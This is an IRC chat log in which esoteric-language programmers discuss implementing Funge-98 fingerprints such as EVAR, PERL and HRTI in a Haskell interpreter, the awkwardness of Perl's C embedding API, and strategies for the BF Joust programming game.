18:01:15 <elliott> Sorry -- I mean hate.
18:01:15 <elliott> :t break
18:01:16 <lambdabot> forall a. (a -> Bool) -> [a] -> ([a], [a])
18:01:23 <elliott> > break (=="=") "abc=def=quux"
18:01:24 <lambdabot> Couldn't match expected type `[GHC.Types.Char]'
18:01:24 <lambdabot> against inferred ty...
18:01:28 <elliott> > break (=='=') "abc=def=quux"
18:01:29 <lambdabot> ("abc","=def=quux")
18:01:33 <elliott> > break (=='=') "abc"
18:01:34 <lambdabot> ("abc","")
18:04:06 <elliott> <elliott> So does EVAR's G default to "" or reflect
18:04:07 <elliott> Deewiant? :p
18:04:18 <Deewiant> Shrug
18:04:35 <elliott> PA
18:04:35 <elliott> *PAH
18:05:54 <myndzi> ais523: i wish you would stop calling tripwires 'antitripwires', it is so confusing ;p
18:06:23 <ais523> myndzi: heh; what I meant there was that the checks I were using weren't regular tripwires (+[], check to see if it becomes 0)
18:06:36 <myndzi> ah
18:06:36 <ais523> but checking the other way round, setting a cell to 1 and then checking to see if it was still at 1
18:06:48 <myndzi> i'm also on the phone so i'm a bit distracted lol
18:06:53 <ais523> so instead of triggering on 1 value out of 256, they trigger on 255 values out of 256
18:07:11 <Vorpal> <elliott> Vorpal: What was the next one you suggested? FING? <-- yes
18:07:19 <Vorpal> elliott, it is reasonably interesting
18:07:25 <Vorpal> elliott, I linked test program for it above
18:07:36 <elliott> Vorpal: Does EVAR's G default to "" or reflect
18:07:44 <Vorpal> elliott, no idea. I don't implement EVAR
18:07:47 <elliott> Bah :P
18:07:51 <elliott> I'll assume reflect.
18:07:57 <Vorpal> elliott, ask Deewiant
18:08:00 <elliott> I did
18:08:02 <elliott> He shrugged
18:08:19 <Vorpal> hah
18:08:24 <Vorpal> elliott, doesn't the spec say anything?
18:08:34 <elliott> It's MKRY
18:08:35 <elliott> So no
18:08:41 <elliott> "EVAR" 0x45564152
18:08:41 <elliott> G(0gnirts -- 0gnirts)Get value of an environment variable
18:08:41 <elliott> N( -- n )Get number of environment variables
18:08:41 <elliott> P(0gnirts --)Put a value into the environemnt (form: name=value)
18:08:41 <elliott> V(n -- 0gnirts)Get n'th environmnt variable (form: name=value)
18:08:44 <elliott> Not even any bullet points
18:08:46 -!- asiekierka has quit (Read error: Operation timed out).
18:08:50 <Deewiant> It's too old for bullet points
18:08:58 <elliott> Deewiant: :-D
18:09:02 <Vorpal> elliott, btw this will be useful for those that you want to do but mycology doesn't test: http://www.rcfunge98.com/diag.html
18:09:04 <elliott> "Please make your specs less ambiguous" "[bullet points]"
18:09:11 <Deewiant> Pretty much
18:09:27 <Vorpal> elliott, note: you don't want to do all of them. Some are just silly. Like that UNIX IPC one or whatever it was
18:09:29 <elliott> You can _test_ MVRS? :-P
18:09:33 <elliott> Vorpal: UNIX IPC sounds like fun.
18:09:36 -!- BeholdMyGlory has quit (Read error: Operation timed out).
18:09:41 <elliott> I'm tempted to implement WIND.
18:09:50 <Vorpal> elliott, you and rcfunge eh
18:09:52 <elliott> Maybe I'll do it portably!
18:09:59 <elliott> Vorpal: What about it
18:10:02 <Deewiant> I suspect mvrs is annoying enough to test that it'll need a separate mycomvrs
18:10:10 <elliott> I just want to implement WIND because Deewiant doesn't and won't :-P
18:10:19 <elliott> Deewiant: http://www.rcfunge98.com/mvrs.f98 http://www.rcfunge98.com/mvrs2.f98
18:10:20 -!- shachaf has quit (Ping timeout: 272 seconds).
18:10:21 <myndzi> well congrats, this is not only super complicated but also successful
18:10:21 <elliott> (Former requires latter)
18:10:25 <Vorpal> "SMEM"0x534d454dSysV IPC Shared Memory
18:10:30 <Vorpal> elliott, you will do that one right?
18:10:34 <elliott> Vorpal: ABSOLUTELY
18:10:37 <Deewiant> Yes, I know he uses two files
18:10:39 <Vorpal> "SMPH"0x534d5048SysV IPC Semaphores
18:10:39 <elliott> Probably.
18:10:40 <Vorpal> that too
18:10:46 <Vorpal> elliott, from haskell? shared memory?
18:10:48 <Vorpal> what the hell
18:10:54 <elliott> Deewiant: So do you need to Mycology it?
18:10:55 <myndzi> thanks for commenting it well ;D
18:11:01 <elliott> Vorpal: You can use libc from Haskell, dude.
18:11:04 <elliott> And other C functions.
18:11:08 -!- BeholdMyGlory has joined.
18:11:12 <elliott> Vorpal: And it has extensive support for pointers.
18:11:15 <elliott> As part of the FFI.
18:11:28 <elliott> This is because Haskell is awesome.
18:11:37 <Vorpal> elliott, oh interesting. Now I have an urge to write something using ioctls in haskell.
18:11:47 <elliott> Good luck :P
18:11:56 <elliott> NCRS will be fun because ncurses is half macros!
18:12:00 <elliott> FUN FUN FUN
18:12:02 <elliott> FUUUUUUUUUUN
18:12:07 <Vorpal> elliott, yes indeed. Deewiant complained about that too
18:12:20 <Vorpal> elliott, and I say fuck it as well. #define clear() ...
18:12:21 <Vorpal> yeah right
18:12:30 <Deewiant> I ended up writing a C wrapper, it was the least painful way
18:12:31 <Vorpal> ever heard about PREFIXING IDENTIFIERS?
18:12:32 <elliott> Who made NCRS
18:12:33 <Vorpal> NO?
18:12:41 <myndzi> interestingly, careless beats it (and all the defend programs, really), i didn't quite expect that
18:12:43 <elliott> Vorpal: Be kind, curses is ancient vintage software.
18:12:44 <Vorpal> elliott, wasn't it that other one. Whatever the name was
18:12:52 <Deewiant> Jesse van Herk
18:12:53 <elliott> myndzi: ais523 says he can fix it but he's worried that it'd be cheating
18:12:57 <elliott> Deewiant: Oh right.
18:12:59 <myndzi> haha
18:13:03 <myndzi> i know how to fix it too
18:13:10 <myndzi> i'm just surprised nobody's done it yet
18:13:17 <elliott> Vorpal: curses was 1979/1980 or so
18:13:17 <myndzi> well, at least how to get a good advantage on it
18:13:22 <elliott> So it's unsurprising that the API is unprefixed :P
18:13:24 <Vorpal> elliott, fixing what?
18:13:31 <elliott> Vorpal: defend13 to beat careless
18:13:33 <elliott> I think ais523 should do it :P
18:13:37 <myndzi> but then we'd get into a modification war so i guess i don't blame him
18:13:57 <Vorpal> elliott, true but the X/Open or whatever spec for curses does allow you to use functions for those macros iirc. But I guess the identifier collision would be even worse then
18:13:58 <ais523> myndzi: I tried the careless strategy before, but it didn't work then, or maybe I screwed it up somehow
18:14:27 -!- shachaf has joined.
18:14:29 <Vorpal> ais523, what is it that would be cheating?
18:14:30 <ais523> it strikes me as being an interesting thing to do in defence programs, to do only a partial rather than full tape-clear in order to beat other defence programs trying to tape-clear at the same time due to expired timers
18:14:40 <elliott> Vorpal: modifying defend13 just to beat careless
18:14:44 <ais523> Vorpal: adding a few + commands to the start of defend13 in order to beat careless
18:14:49 <myndzi> it's not a defense program
18:14:55 <myndzi> it's a fast attack program that doesn't use loops
18:14:56 <ais523> I know it isn't
18:15:06 <myndzi> oh, i misread what you meant
18:15:11 <Vorpal> ais523, I'm not sure how that is cheating?
18:15:13 <ais523> but I think the strategy might be viable in defense programs too
18:15:18 <myndzi> probably so
18:15:20 <ais523> I was wondering about it as a defence10 variant
18:15:23 <Vorpal> also what is the strategy of careless?
18:15:27 <myndzi> it's not very thorough however
18:15:28 <ais523> (it wouldn't work well as a variant to 7)
18:15:34 <elliott> @hoogle [a] -> Int -> Maybe a
18:15:35 <lambdabot> Prelude (!!) :: [a] -> Int -> a
18:15:35 <lambdabot> Data.List (!!) :: [a] -> Int -> a
18:15:35 <lambdabot> Data.List genericIndex :: Integral a => [b] -> a -> b
18:15:38 <elliott> Gah
18:15:38 <myndzi> careless doesn't care if it wins or not
18:15:42 <myndzi> it just plows on ahead
18:15:42 <myndzi> ;)
18:15:43 <ais523> Vorpal: it changes every cell that could be the flag approximately 128 times
18:15:44 <myndzi> thus the name
18:15:44 <elliott> And length will be slow
18:15:54 <myndzi> it jumps out 10 cells, attacks fast then tries to finish, repeat
18:15:54 <Vorpal> elliott, length for?
18:16:03 <ais523> it's like the extreme opposite of an offset clear
18:16:09 <elliott> Vorpal: environment
18:16:13 <Vorpal> elliott, ah
18:16:19 <myndzi> with a little help from a 0-check
18:16:36 <myndzi> to speed it through empty cells
18:16:47 <myndzi> that's the thing that really helped it out
18:16:55 <myndzi> it beats defend because it can't be trapped
18:17:01 <myndzi> and the 0-check loops it around if it fails, i guess
18:17:04 <elliott> ais523: come on, fix defend13 :)
18:17:09 <Vorpal> myndzi, wouldn't do very well against defenders? Though I guess it would do well against attack programs
18:17:12 <myndzi> and it's fast enough that it can move the cell value
18:17:24 <myndzi> i made it to counter defend-style programs
18:17:30 <myndzi> it beats all of ais's, and a bunch of impomatic's
18:17:37 <myndzi> i don't know which of impomatic's are defenders from the names though
18:17:43 <elliott> it wouldn't beat attackers
18:17:46 <elliott> since attackers are usually fast
18:17:49 <Vorpal> myndzi, wouldn't beat a shudder though
18:17:49 <elliott> and it's very slow
18:17:51 <ais523> I see impomatic made a program that beat all of his other programs, and didn't do well against many others
18:17:53 <myndzi> it's faster than most attackers too
18:18:05 <myndzi> shudder is stupid and i don't care if i beat it
18:18:09 <myndzi> it'll fall off the hill soon enough
18:18:28 <Vorpal> myndzi, sure. But nothing wrong with simple ones
18:18:31 <myndzi> i could probably make it beat them though
18:18:42 <myndzi> no, nothing wrong with simple ones, i just don't care if it doesn't beat that particular one
18:18:46 <Vorpal> right
18:18:49 -!- impomatic has joined.
18:18:52 <ais523> oh, hi impomatic
18:19:04 <Vorpal> myndzi, that you called it stupid made it look like you disliked the simple ones
18:19:11 <impomatic> Hi :-)
18:19:19 <myndzi> no, just simple ones that don't do anything
18:19:26 <Vorpal> myndzi, that would be .
18:19:28 <ais523> careless is weird in that it's trivially counterable, and trivially adjustable to avoid that method of making it counterable at the cost of slowing it down slighlty
18:19:30 <impomatic> ais523: nice score from defend13 ;-)
18:19:31 <Vorpal> myndzi, ;P
18:19:33 <ais523> thanks
18:19:36 <myndzi> rolleyes :P
18:19:41 <ais523> so I'd say that it's a valid program strategy
18:19:43 <elliott> lol #haskell are all
18:19:49 <elliott> WHY DO YOU WANT TO ACCESS A SPECIFIC INDEX OF THE NEIVORNMENT
18:19:50 <elliott> and i'm like
18:19:54 <elliott> it's not my fault
18:19:56 <myndzi> ais523: yeah, but i don't want to call attention to it because i don't want to have to do that haha
18:19:56 <elliott> don't blame me :(
18:20:05 <myndzi> i don't want to be in another optimize war
18:20:12 <myndzi> i accidentally did it in butter though
18:20:13 <Deewiant> Yeah, I get a lot of that too when I complain about stuff in Tango
18:20:16 <myndzi> then fixed it
18:20:16 <elliott> <hpc> oh god, it's homework isn't it?
18:20:18 <Deewiant> "WHY" "Because I have to"
18:20:25 <Vorpal> Deewiant, how do you do it in ccbi
18:20:29 <elliott> I've just linked them to the EVAR spec to shut them up
18:20:29 <myndzi> haha butter isn't positive anymore
18:20:33 <myndzi> but i don't care, it beats shudder programs!
18:20:36 <Vorpal> Deewiant, it isn't like you have char **environ is it?
18:20:44 <myndzi> and a surprising number of others, really
18:20:45 <ais523> impomatic: defend13 is a cross between my strategies of mathematical defence loops, myndzi's of trying multiple defense strategies in order to beat multiple styles of opponents, and yours of doing something different after a timeout
18:20:52 <Deewiant> Vorpal: setenv / SetEnvironmentVariableA
18:20:54 <ais523> I did a lot of experimenting into doing timeouts that wouldn't kill egobot, btw
18:20:55 <Vorpal> elliott, wait you could do this with the FFI. char **environ
18:21:01 <Vorpal> Deewiant, for index I meant
18:21:05 <myndzi> anyway, finally off the phone with comcast and super late for work
18:21:11 <ais523> if a loop contains no [ or ], it's best to do it as ()*9999 or whatever
18:21:17 <myndzi> good job once more ais, pretty nice work
18:21:19 <Vorpal> Deewiant, or didn't you mean integer index?
18:21:19 <Deewiant> Vorpal: environ / GetEnvironmentVariablesA (or whatever it's called, don't remember that one)
18:21:24 <elliott> <hpc> wow
18:21:24 <elliott> <hpc> a funge interpreter
18:21:30 <ais523> if it does contain [], it's best to put it inside several nested ()* loops, as in ((([])*5)*5)*5
18:21:43 <ais523> I'm not sure offhand why egojoust finds those less problematic, but it does
18:22:08 <Vorpal> ais523, what if you want a single [] though...
18:22:11 * elliott considers referring hpc to here, decides he's mentioned #esoteric enough in #haskell
18:22:16 <myndzi> (to be clear, i didn't actually enter any programs with the idea he mentions, i just suggested it to him because it seemed up his alley ;)
18:22:46 <Vorpal> elliott, how do you NORMALLY get env vars in haskell? For use in y and such
18:22:55 <Deewiant> Vorpal: He can get them, he can't modify them
18:23:06 <elliott> <xplat> so you have legacy software in befunge that needs supported?
18:23:09 <elliott> Vorpal: System.Environment
18:23:14 <Vorpal> Deewiant, what do you do when you want to execute something with a modified environment?
18:23:21 <Vorpal> oh wait, you pass it the environment?
18:23:24 <elliott> Vorpal: I think the process stuff has that... maybe...
18:23:26 <elliott> If not: You don't.
18:23:32 <elliott> To modify: System.Posix.Env :-P
18:23:33 <ais523> elliott: that xplat quote deserves to be added to `addquote
18:23:43 <Vorpal> hm
18:23:44 <elliott> `addquote <xplat> so you have legacy software in befunge that needs supported?
18:23:45 <HackEgo> 302) <xplat> so you have legacy software in befunge that needs supported?
18:23:46 <elliott> you're welcome, ais523
18:23:52 <ais523> thanks
18:23:57 <Vorpal> <elliott> <xplat> so you have legacy software in befunge that needs supported? <-- was that... serious?
18:24:02 <elliott> Let me know when you buy a keyboard with a ` key, ais523
18:24:04 <myndzi> by the way, i also like the use of the nonzero-check
18:24:05 <elliott> Vorpal: No.
18:24:15 <Vorpal> elliott, *phew*
18:24:16 <ais523> elliott: my ` key is to the left of spacebar
18:24:28 <Vorpal> <elliott> Let me know when you buy a keyboard with a ` key, ais523 <-- "<ais523> elliott: that xplat quote deserves to be added to `addquote" <-- notice the ` there?
18:24:33 <elliott> ais523: What key in "`addquote " can't you type, then
18:24:34 <elliott> :-P
18:25:00 <elliott> Woo, EVAR works
18:25:02 <ais523> myndzi: which one? or don't I understand what you mean?
18:25:06 <ais523> every loop in BF is a nonzero-check
18:25:21 <Vorpal> ais523, I think he joked about you asking it to be added instead of doing it yourself
18:25:25 <myndzi> i mean
18:25:26 <elliott> Deewiant: Do you implement FORK :-D
18:25:30 <myndzi> the "reverse tripwire"
18:25:32 <ais523> Vorpal: it was wanting a second opinion
18:25:34 <ais523> myndzi: ah
18:25:37 <ais523> that really needs a better name
18:25:40 <myndzi> (which i like better than "anti")
18:25:44 <myndzi> inverse
18:25:45 <myndzi> perhaps
18:25:48 <myndzi> anyway, got to go
18:25:49 <ais523> yep, inverse tripwire might do
18:25:51 <myndzi> happy fucking
18:25:52 <Deewiant> elliott: I don't implement much of the new stuff, in particular the system-level stuff
18:25:52 <myndzi> ;p
18:26:10 <elliott> The system-level stuff is the easy stuff :P
18:26:27 <elliott> I'll do HRTI now, seems easy enough
18:26:31 <impomatic> Has anyone used a Rabbit 2000?
18:26:32 <Vorpal> elliott, I can't imagine sysv shm being easy in haskell.
18:26:32 <Deewiant> In particular stuff like FORK which is hard to do cross-platform.
18:26:44 <elliott> Vorpal: As easy as Haskell + constant overhead of FFI stuff.
18:26:55 <elliott> rm
18:26:56 <elliott> erm
18:26:59 <elliott> Vorpal: As easy as C + constant overhead of FFI stuff.
18:27:04 <elliott> Or linear overhead, I guess
18:27:10 <Vorpal> elliott, do you know how painful sysv shm is in *C*?
18:27:19 <elliott> "As easy" could be "very hard".
18:28:07 <Vorpal> elliott, so the only thing that can really halt the FFI is the macroness of ncurses?
18:28:12 <elliott> DING DING DING DEPENDENCY ADDED
18:28:17 <elliott> Vorpal: That would be a pain, yes.
18:28:23 <elliott> Vorpal: I'd probably just use an ncurses binding.
18:28:31 <Vorpal> elliott, seems sane
18:28:35 <Vorpal> @hoogle ncurses
18:28:36 <lambdabot> No results found
18:28:41 <Vorpal> @hoogle curses
18:28:41 <lambdabot> No results found
18:28:50 <elliott> <mux> xplat: that's normal: getenv() is in the C standard, setenv() is only in POSIX
18:28:50 <elliott> <mux> xplat: so it totally makes sense for Haskell to only export setEnv in System.Posix.env
18:28:52 <Vorpal> wait, how do you search hackage with it
18:28:52 <elliott> >_< Stupid C
18:28:55 <elliott> Vorpal: You don't
18:29:01 <elliott> (Pertinent: <zygoloid> why should a /language/ standard (for a language other than haskell) be more significant than an /operating system/ standard?)
18:29:02 <Vorpal> elliott, oh. Boring.
18:29:06 <elliott> @hackage
18:29:06 <lambdabot> http://hackage.haskell.org
18:29:19 <ais523> elliott: "other than haskell"
18:29:38 <elliott> ais523: ?
18:29:40 <Vorpal> "hayoo", "hoogle" <-- why these lame puns.
18:29:45 <ais523> I'm mentioning your quote
18:29:56 <elliott> Vorpal: Hoogle came first
18:30:03 <elliott> Hayoo came after Hoogle got popular
18:30:05 <elliott> ais523: What about it?
18:30:13 <Vorpal> elliott, that doesn't really justify the lame pun bit for either
18:30:29 <Vorpal> elliott, anyway, there seem to be a handful of bindings yeah
18:30:54 <ais523> elliott: I was wondering why he thought Haskell standard > OS standard > other lang standards
18:30:56 <ais523> it seems rather specific
18:31:03 <Vorpal> elliott, UI.HSCurses and UI.NCurses at least
18:31:09 <elliott> ais523: because Haskell is defined independent of C
18:31:16 <ais523> so are several other langs?
18:31:31 <elliott> ais523: so why should C dictate Haskell's libraries?
18:31:52 <ais523> oh, I didn't realise it was in refernce to Haskell's libraries
18:32:09 <ais523> I thought he was saying you should care more about what Haskell does than what Funge does in your interp
18:33:00 <elliott> Gah, HRTI stuff for Haskell is Unix-specific
18:33:12 <elliott> "WINDOWS reference: !! This early version is posix-only and does not build on Windows. Support will be added in the future. !!
18:33:13 <elliott> "
18:33:19 <Vorpal> elliott, you could try TERM. It could be done with just raw control codes if you want to avoid ncurses. Though that isn't very portable of course
18:33:23 <elliott> Vorpal: Ew.
18:33:41 <Vorpal> elliott, I mean, you do want to run it on old non-vt100 style terminals right?
18:33:51 <elliott> Har har har
18:34:11 <elliott> @hackage clock
18:34:11 <lambdabot> http://hackage.haskell.org/package/clock
18:34:12 <Vorpal> elliott, this one you probably need FFI for: http://www.rcfunge98.com/rcsfingers.html#REXP
18:34:33 <Vorpal> elliott, reason is that those flags are pretty much the exact ones found in the posix regexp stuff
18:34:38 <elliott> This backend provides a Haskell interface for the "posix" c-library that comes with most operating systems, and is provided by include "regex.h". This c-library probably also drives command line utilities such as sed and grep.
18:34:45 <elliott> regex-posix
18:34:51 <Vorpal> elliott, ah right
18:34:54 <elliott> [["Posix" is in quotes since it is often not fully Posix compliant and may be buggy (as on OS X, where the bug also affects sed).
18:34:54 <elliott> And the c-library has what I call impossibly-slow performance, as in at least 100x slower than other regex engines.]]
18:35:20 <Vorpal> elliott, that depends on implementations
18:35:34 <elliott> -- fucking unportable Haskell libraries
18:35:35 <elliott> import System.Posix.Clock
18:35:38 <elliott> --HRTI.hs
18:35:49 <quintopia> thx ais523
18:35:57 <Vorpal> elliott, doesn't it provide a portable clock API?
18:36:12 <elliott> Vorpal: Not a high-resolution one.
18:36:20 <elliott> Well...
18:36:24 <elliott> I think the time library goes down to picoseconds.
18:36:28 <ais523> quintopia: what are you thanking me for, btw?
18:36:35 <Vorpal> elliott, that should be enough?
18:36:56 <elliott> Vorpal: well maybe
18:37:21 <elliott> Vorpal: but it also has hour/minute fields
18:37:22 <elliott> so -> bitch
18:37:46 <Vorpal> elliott, I don't think it has to be unix time?
18:37:52 <elliott> gah, microseconds, but the posix api is nanoseconds since second
18:37:55 <elliott> fuck this, HRTI is done later
18:38:01 <elliott> Vorpal: I mean I'd have to handle rollover
18:38:02 -!- Sgeo_ has joined.
18:38:05 <Vorpal> elliott, what. It is just some basic scaling factors?
18:38:14 <elliott> Vorpal: I'm lazy and the API sucks anyway
18:38:21 <Vorpal> elliott, which API?
18:38:31 <elliott> POSIX :P
18:38:40 <elliott> ais523: are you sure there's no perl API call to eval a string? :-)
18:39:09 <ais523> elliott: no, but... you'd have to initialise a new perl interp from inside the C, and tell it to eval the string
18:39:16 <ais523> which is pretty much identical to just using perl(1)
18:39:27 <elliott> Deewiant: Didn't you have some crazy way to pass the string to perl?
18:39:37 <elliott> I suppose perl -e 'print (expr)' isn't enough
18:39:47 <elliott> What about
18:39:51 <elliott> perl -e 'print eval("expr")'
18:39:52 <Vorpal> elliott, uh I can't find where you have to handle rollovers
18:39:55 <Deewiant> It's mostly fizzie's, you can look it up
18:39:57 <Deewiant> In the source
18:40:09 <elliott> Vorpal: osjidgfhgohjdpfosgnsipfdbojker
18:40:11 <elliott> Vorpal: the time package
18:40:12 <elliott> provides the result
18:40:13 <elliott> in
18:40:20 <Vorpal> elliott, I thought you said the POSIX one
18:40:21 <elliott> (hours,minutes,seconds-up-to-picoseconds-as-fixed-precision)
18:40:22 <Vorpal> okay
18:40:24 <elliott> >_<
18:40:27 <elliott> This was for if I wasn't using it
18:40:33 <Vorpal> right
18:40:50 <Vorpal> elliott, PERL is a bit complex to get right with regards to file descriptors
18:41:25 <ais523> ah, Emacs' brainfuck-mode is so useful for BF Joust
18:41:28 <elliott> Vorpal: Why does that matter
18:41:28 * Vorpal reads cfunge code
18:41:39 <elliott> ais523: s/Emacs'/my/ surely
18:41:46 <ais523> well, yes, I wrote it
18:42:20 <Vorpal> Deewiant, what on earth is .txz?
18:42:24 <oerjan> <elliott> I've just linked them to the EVAR spec to shut them up <-- "ok it's not homework, he's just insane"
18:42:32 <Deewiant> Vorpal: You've asked that before.
18:42:35 <Deewiant> .tar.xz.
18:42:37 <Vorpal> Deewiant, aha
18:42:39 <elliott> oerjan: precisely!
18:42:39 <ais523> instead of trivially tweaking defend13 to beat careless, I'm detecting careless-style programs in order to beat them altogether
18:42:54 <Vorpal> Deewiant, I'm sure you don't remember everything either
18:43:07 <elliott> Hey Vorpal
18:43:11 <elliott> Do you implement MKRY?
18:43:12 <elliott> I forget
18:43:27 <Vorpal> I don't
18:43:28 <ais523> elliott, I'm sure you don't remember everything either
18:43:55 <elliott> ais523: ?
18:43:58 <elliott> That's what I was trolling Vorpal for :P
18:44:01 <ais523> elliott: yep
18:44:10 <ais523> I was trolling the entire conversation
18:44:11 <elliott> Anything that the Perl program writes to stdout or stderr is captured and
18:44:11 <elliott> redirected to the Funge program's stdout. Trying to forcibly write to
18:44:11 <elliott> stderr from within the Perl (through tricks such as 'open($my_stderr,
18:44:11 <elliott> ">&2")') is deemed undefined behaviour and you do so at your own risk.`
18:44:16 <elliott> Deewiant: I don't see any need for this
18:44:25 <elliott> Deewiant: Where does PERL say that output to stdout works properly
18:44:39 <Deewiant> Where does it say that it doesn't? :-P
18:44:40 <elliott> Is it in the Cat's Eye fingerprint test suite now on rcfunge's website?
18:45:32 <Vorpal> elliott, it says "the result of the call"
18:45:33 <elliott> Deewiant: Where does it say that writing to stderr by doing open($my_stderr,">&2") doesn't work
18:45:43 <Vorpal> elliott, it doesn't say "the output of the call"
18:45:50 <elliott> ais523: Got a tutorial on the C perl API anywhere?
18:45:58 <ais523> perldoc perlxstut
18:46:01 <ais523> I think
18:46:07 <Deewiant> elliott: In my code
18:46:28 <Vorpal> Deewiant, you use the C Perl API instead of calling it?
18:46:42 <elliott> Deewiant: Har har har
18:46:44 <Deewiant> I wasn't aware such an API existed until elliott mentioned it today
18:46:49 <Vorpal> ah
18:46:58 <elliott> I'm going to use it because CCBI's code looks like a mess :-P
18:47:03 <Vorpal> elliott, anyway here is why you have to preserve stdout:
18:47:14 <Vorpal> "The result of the call is pushed as a 0gnirts string back onto the stack."
18:47:30 <Vorpal> elliott, notice that is "result of call" as in "return value", not as in "standard output"
18:47:36 <elliott> Yes, I realise.
18:48:04 <elliott> <elliott> Using the FFI to talk to perl's C API to implement a Funge interpreter. Where did I go wrong?
18:48:12 <Vorpal> elliott, here is what I do basically, and I think I got most of it from fizzie: perl -e "open(CFUNGE_REALERR, \">&STDERR\"); open(STDERR, \">&STDOUT\"); print CFUNGE_REALERR eval($ARGV[0])" <perl code sent as argument here>
18:48:21 <elliott> CFUNGE_REALERR. Enterprisey.
18:48:28 <elliott> Our first extension will be very simple. When we call the routine in the extension, it will print out a well-known message and return.
18:48:28 <elliott> Run ""h2xs -A -n Mytest"". This creates a directory named Mytest, possibly under ext/ if that directory exists in the current working directory. Several files will
18:48:28 <elliott> be created under the Mytest dir, including MANIFEST, Makefile.PL, lib/Mytest.pm, Mytest.xs, t/Mytest.t, and Changes.
18:48:34 <elliott> No, perl, I want to do it without any automatic shit
18:48:38 <Vorpal> elliott, you need to swap around file descriptors :P
18:48:47 <elliott> ais523: this seems to be rather a guide to making perl extension modules >_<
18:49:14 <elliott> Add the following to the end of Mytest.xs:
18:49:14 <elliott> int
18:49:14 <elliott> is_even(input)
18:49:14 <elliott> int input
18:49:14 <elliott> CODE:
18:49:15 <elliott> RETVAL = (input % 2 == 0);
18:49:16 <ais523> elliott: it is, that's what the API's generally used for
18:49:16 <elliott> OUTPUT:
18:49:18 <elliott> RETVAL
18:49:22 <elliott> What the fuck.
18:49:26 <elliott> That.... I... what.
18:49:29 <elliott> That's not C.
18:49:33 <ais523> it's preprocessed
18:49:39 <elliott> This is hideous.
18:49:41 <ais523> because the actual internals of the API aren't human-consumable
18:49:45 <Vorpal> indeed
18:49:52 <elliott> This is the most hideous.
18:49:55 <Deewiant> Hah
18:49:58 <elliott> ais523: Great. Those are the bits I need :-P
18:50:02 <quintopia> ais523: for writing two programs today that don't beat the awesome jouster i wrote last night thereby moving me up the scoreboard to 4th place without having to do anything :P
18:50:03 <Deewiant> Who would've thought, Perl's API is a hideous mess
18:50:03 <ais523> try perldoc perlint, I think
18:50:06 <ais523> although it isn't a tutorial
18:50:11 <ais523> quintopia: heh
18:50:11 <Sgeo_> Today, my group is doing stuff with spreadsheets
18:50:15 <elliott> Deewiant: The great thing is, I can claim that Perl is shelled
18:50:24 <elliott> Deewiant: I just have to initialise the interpreter on fingerprint load
18:50:27 <Vorpal> elliott, and I thought the damn python C API was an abomination. But it pales into insignificance when compared to what you just pasted!
18:50:42 <elliott> No documentation found for "perlint".
18:50:58 <Vorpal> <ais523> because the actual internals of the API aren't human-consumable <-- why
18:51:00 <quintopia> ais523: also, it would appear i am your archnemesis, since you couldn't beat either of my other two "real" programs either
18:51:10 <Vorpal> wait true python API does macro stuff too
18:51:14 <Vorpal> but that is just C macros
18:51:17 <elliott> aha
18:51:18 <elliott> ais523: perlembed
18:51:19 <Vorpal> not that sort of insane stuff
18:51:20 <elliott> http://search.cpan.org/~rjbs/perl-5.12.3/pod/perlembed.pod
18:51:21 <elliott> perlembed - how to embed perl in your C program
18:51:28 <elliott> If you have trouble compiling the scripts in this documentation, you're not alone. The cardinal rule: COMPILE THE PROGRAMS IN EXACTLY THE SAME WAY THAT YOUR PERL WAS COMPILED. (Sorry for yelling.)
18:51:30 <Deewiant> elliott: Yes, that's what I'd expect you to do if you're using the API :-P
18:51:30 <ais523> ah, that's not the API at all, but on the other hand it's probably what you want
18:51:48 <oerjan> @hoogle maybeToList
18:51:48 <lambdabot> Data.Maybe maybeToList :: Maybe a -> [a]
18:51:48 <elliott> ais523: I like how it tells me to do `perl ...`.
18:51:52 <elliott> I guess I'll have to abandon ghc --make soon.
18:51:55 <Vorpal> elliott, it is likely to be macro heavy still
18:51:57 <oerjan> er wait
18:52:06 <oerjan> @hoogle listToMaybe
18:52:06 <lambdabot> Data.Maybe listToMaybe :: [a] -> Maybe a
18:52:10 <oerjan> elliott: ^
18:52:17 <oerjan> that + drop (n-1)
18:52:32 <elliott> oerjan: Welcome to five years ago?
18:52:44 <oerjan> (also listToMaybe = mplus, i think)
18:52:48 <elliott> It's drop n, anyway
18:53:02 <oerjan> elliott: hm right
18:53:25 <elliott> * sproingie ponders, staticly typed Befunge. StrongFunge.
18:53:27 <elliott> NEVER LET HIM NEAR US
18:53:37 <elliott> <edwardk> spoingie: we need dependently typed strongfunge
18:53:38 <elliott> oh dear god
18:53:57 <ais523> why not have a statically typed funge?
18:54:06 <elliott> ais523: yay, I Have to do "PERL_SYS_INIT3(&argc,&argv,&env)"
18:54:08 <elliott> *have
18:54:12 <elliott> that sounds like funs!
18:54:16 <elliott> plural funs
18:54:25 <elliott> WHY DOES PERL_PARSE TAKE ARGC AND ARGV
18:54:27 <elliott> OH
18:54:28 <elliott> I SEE
18:54:30 <elliott> *lowercase
18:54:32 <oerjan> ais523: YOU invent the type checker then
18:54:33 <Vorpal> <elliott> <edwardk> spoingie: we need dependently typed strongfunge <-- awesome
18:54:42 <elliott> <aristid> what about strongly typed unlambda?
18:54:45 <elliott> <aristid> that's another big market segment, and closer to haskell's spirit
18:54:53 <ais523> oerjan: it'd need to be a funge designed to be easier to compile, I think
18:54:58 <Vorpal> elliott, it will be easier to just exec perl
18:55:03 <elliott> <elliott> But Unlambda is impure!!!
18:55:03 <elliott> <elliott> Clearly you mean Lazy K.
18:55:13 <oerjan> ais523: that's like an INTERCAL designed to be more mainstream
18:55:23 <ais523> not that there's anything wrong with that
18:55:33 <Vorpal> <ais523> oerjan: it'd need to be a funge designed to be easier to compile, I think <-- you just forgot a key point of befunge
18:55:37 <elliott> Vorpal: But that will fail if someone writes to fd 3.
18:55:39 <ais523> Vorpal: no, I'm aware of it
18:55:46 <ais523> I should have said fungeoid, really
18:56:06 <Vorpal> elliott, 3?
18:56:13 <elliott> Vorpal: Or 42.
18:56:15 <elliott> I haven't decided yet.
18:56:18 <ais523> also, writing comments where the only punctuation mark you can really use is ; is frustrating, and looks bizarre
18:56:29 <Vorpal> elliott, but where did they get that fd from?
18:56:38 <elliott> I just invented it.
18:57:04 <Vorpal> elliott, I mean, don't you need to actually open a fd somehow in perl before using it
18:57:12 <Vorpal> which would presumably check if it was free
18:57:19 -!- pingveno has quit (Ping timeout: 255 seconds).
18:57:31 -!- nescience has joined.
18:57:57 <Vorpal> <elliott> ais523: yay, I Have to do "PERL_SYS_INIT3(&argc,&argv,&env)" <-- that sounds like a macro to me
18:58:02 <elliott> $ perl 42>x; cat x
18:58:02 <elliott> open FOOP,"<&=42";
